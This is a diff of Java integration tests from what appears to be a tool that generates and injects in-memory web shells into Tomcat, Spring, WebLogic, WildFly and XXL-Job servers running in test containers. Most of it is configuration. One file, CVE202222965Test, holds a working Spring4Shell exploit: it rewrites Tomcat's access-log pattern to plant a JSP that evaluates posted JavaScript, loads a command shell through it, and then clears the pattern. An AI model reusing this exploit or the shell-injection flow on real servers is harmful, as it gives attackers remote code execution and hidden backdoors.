.targetJdkVersion(Opcodes.V21)
.enableJspPackerTest(false)
.contextPath("")
.healthCheckPath("/test")
.jattachFile(null)
.supportedShellTypes(List.of(
ShellType.SPRING_WEBFLUX_WEB_FILTER,
ShellType.SPRING_WEBFLUX_HANDLER_METHOD,
ShellType.NETTY_HANDLER
))
.testPackers(List.of(Packers.Base64))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,165 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
/**
* @author ReaJason
* @since 2026/7/16
*/
@Testcontainers
@Slf4j
public class CVE202222965Test {
private static final OkHttpClient CLIENT = new OkHttpClient();
private static final String JSP_PATTERN = "%{c2}i { " +
"StringBuilder script = new StringBuilder(); " +
"String line; " +
"java.io.BufferedReader reader = request.getReader(); " +
"while ((line = reader.readLine()) != null) { script.append(line).append('\\n'); } " +
"javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); " +
"if (engine == null) { throw new IllegalStateException(\"js engine is null\"); } " +
"Object result = engine.eval(script.toString()); " +
"if (result != null) { out.print(result); } " +
"} %{suffix}i";
@Container
public static final GenericContainer<?> cve202222965 =
new GenericContainer<>("vulhub/spring-webmvc:5.3.17")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/")
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22965")
void CVE_2022_22965() {
String url = getUrl();
String jsEngineJspUrl = writeJsEngineJsp(url);
assertJsEngineJspIsReady(jsEngineJspUrl);
clearAccessLogPattern(url);
String shellType = ShellType.FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.ScriptEngine;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.Tomcat,
null,
shellType,
shellTool,
Opcodes.V11,
shellToolConfig,
packer);
executeScript(jsEngineJspUrl, packer.getInstance().pack(generateResult.toClassPackerConfig()));
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private String writeJsEngineJsp(String url) {
HttpUrl exploitUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", JSP_PATTERN)
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.suffix", ".jsp")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.directory", "webapps/ROOT")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.prefix", "memshellparty")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat", "")
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.buffered", "false")
.build();
Request request = new Request.Builder()
.url(exploitUrl)
.header("c2", "<%")
.header("suffix", "%>//")
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
writeJsEngineJspAccessLog(url);
return url + "/memshellparty.jsp";
}
@SneakyThrows
private void writeJsEngineJspAccessLog(String url) {
Request request = new Request.Builder()
.url(url)
.header("c2", "<%")
.header("suffix", "%>//")
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
@SneakyThrows
private void assertJsEngineJspIsReady(String jsEngineJspUrl) {
for (int i = 0; i < 10; i++) {
Request request = new Request.Builder()
.url(jsEngineJspUrl)
.header("c2", "<%")
.header("suffix", "%>//")
.post(RequestBody.create("1 + 1", MediaType.parse("text/plain")))
.build();
try (Response response = CLIENT.newCall(request).execute()) {
if (response.code() == 200 && Objects.requireNonNull(response.body()).string().contains("2")) {
return;
}
}
Thread.sleep(500);
}
}
@SneakyThrows
private void executeScript(String jsEngineJspUrl, String script) {
Request request = new Request.Builder()
.url(jsEngineJspUrl)
.post(RequestBody.create(script, MediaType.parse("text/plain")))
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
assertNotEquals(500, response.code(), response.body().string());
}
}
@SneakyThrows
private void clearAccessLogPattern(String url) {
HttpUrl resetUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", "")
.build();
Request request = new Request.Builder()
.url(resetUrl)
.build();
try (Response response = CLIENT.newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
private static String getUrl() {
String host = cve202222965.getHost();
int port = cve202222965.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17)
);
}
@@ -0,0 +1,91 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
public class SpringBoot4ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("eclipse-temurin:21.0.11_10-jdk")
.jarFile(ContainerTool.springBoot4JarFile)
.jakarta(true)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.SpringWebMvc)
.pidScript(ContainerTool.springbootPid)
.targetJdkVersion(Opcodes.V21)
.enableJspPackerTest(false)
.contextPath("")
.healthCheckPath("/test")
.supportedShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.assertLogs(false)
.probeShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
))
.build();
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
.imageName("springboot4")
.server(Server.Tomcat)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
// ShellType.LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> tomcatCasesProvider() {
return generateTestCases(TOMCAT_CONFIG);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
}
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
@Slf4j
public class SpringBoot4ExpressionContainerTest {
public static final String imageName = "springboot4";
@Container
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:21.0.11_10-jdk")
.withCopyFileToContainer(springBoot4JarFile, "/app/app.jar")
.withCommand("java -jar /app/app.jar")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
);
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
}
}
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
);
}
@@ -0,0 +1,58 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2026/8/30
*/
@Slf4j
@Testcontainers
public class Tomcat8XSLTContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.weblogic;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
@@ -21,6 +22,7 @@ public class WebLogic1036ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
"reajason/weblogic:10.3.6",
"/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
.warFile(ContainerTool.servlet2WarFile)
.targetJdkVersion(Opcodes.V1_6)
.assertLogs(false)
.supportedShellTypes(List.of(
@@ -26,6 +26,7 @@ public class WebLogic12214ContainerTest extends AbstractContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.testPackers(List.of(Packers.Base64))
@@ -26,6 +26,7 @@ public class WebLogic14110ContainerTest extends AbstractContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.testPackers(List.of(Packers.Base64))
@@ -26,6 +26,7 @@ public class WebLogic14120ContainerTest extends AbstractContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.testPackers(List.of(Packers.Base64))
@@ -0,0 +1,56 @@
package com.reajason.javaweb.integration.memshell.weblogic;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/24
*/
@Testcontainers
public class WebLogic15110ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
"reajason/weblogic:15.1.1.0-jdk21",
"/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V21)
.warFile(ContainerTool.warJakartaFile)
.jakarta(true)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_WEBSOCKET,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.Base64))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly38ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
"quay.io/wildfly/wildfly:38.0.1.Final-jdk21",
"/opt/jboss/wildfly/standalone/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
// Suo5 closes the exchange before WildFly 38's internal request listener is destroyed,
// causing a benign UT015005/UT000139 log after the functional assertion has passed.
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.integration.memshell.wildfly;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/10
*/
@Testcontainers
public class Wildfly41ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
"quay.io/wildfly/wildfly:41.0.0.Final-jdk21",
"/opt/jboss/wildfly/standalone/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob202ContainerTest {
public static final String imageName = "xxljob/xxljob202";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob212ContainerTest {
public static final String imageName = "xxljob/xxljob212";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob250ContainerTest {
public static final String imageName = "xxljob/xxljob250";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJob);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -118,6 +118,15 @@ public class ProbeTestConfig {
.warDeployPath(warDeployPath);
}
public static ProbeTestConfigBuilder jetty5Old(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Jetty5)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath(warDeployPath)
.supportsFilterProbe(false);
}
public static ProbeTestConfigBuilder glassfish(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
@@ -230,6 +239,15 @@ public class ProbeTestConfig {
.warDeployPath(warDeployPath);
}
public static ProbeTestConfigBuilder resin2(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Resin2)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath(warDeployPath)
.supportsFilterProbe(false);
}
public static ProbeTestConfigBuilder springboot(String imageName, MountableFile jarFile) {
return builder()
.imageName(imageName)
@@ -269,6 +287,32 @@ public class ProbeTestConfig {
.supportsSpringWebMvc(true);
}
public static ProbeTestConfigBuilder springbootBes(String imageName, MountableFile jarFile) {
return builder()
.imageName(imageName)
.jarFile(jarFile)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.BES)
.contextPath("")
.healthCheckPath("/test")
.supportsFilterProbe(false)
.supportsSpringWebMvc(true);
}
public static ProbeTestConfigBuilder springbootTongweb(String imageName, MountableFile jarFile) {
return builder()
.imageName(imageName)
.jarFile(jarFile)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.TongWeb)
.contextPath("")
.healthCheckPath("/test")
.supportsFilterProbe(false)
.supportsSpringWebMvc(true);
}
public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) {
return builder()
.imageName(imageName)
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish7JDK21ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
"reajason/glassfish:7.1.1-jdk21",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
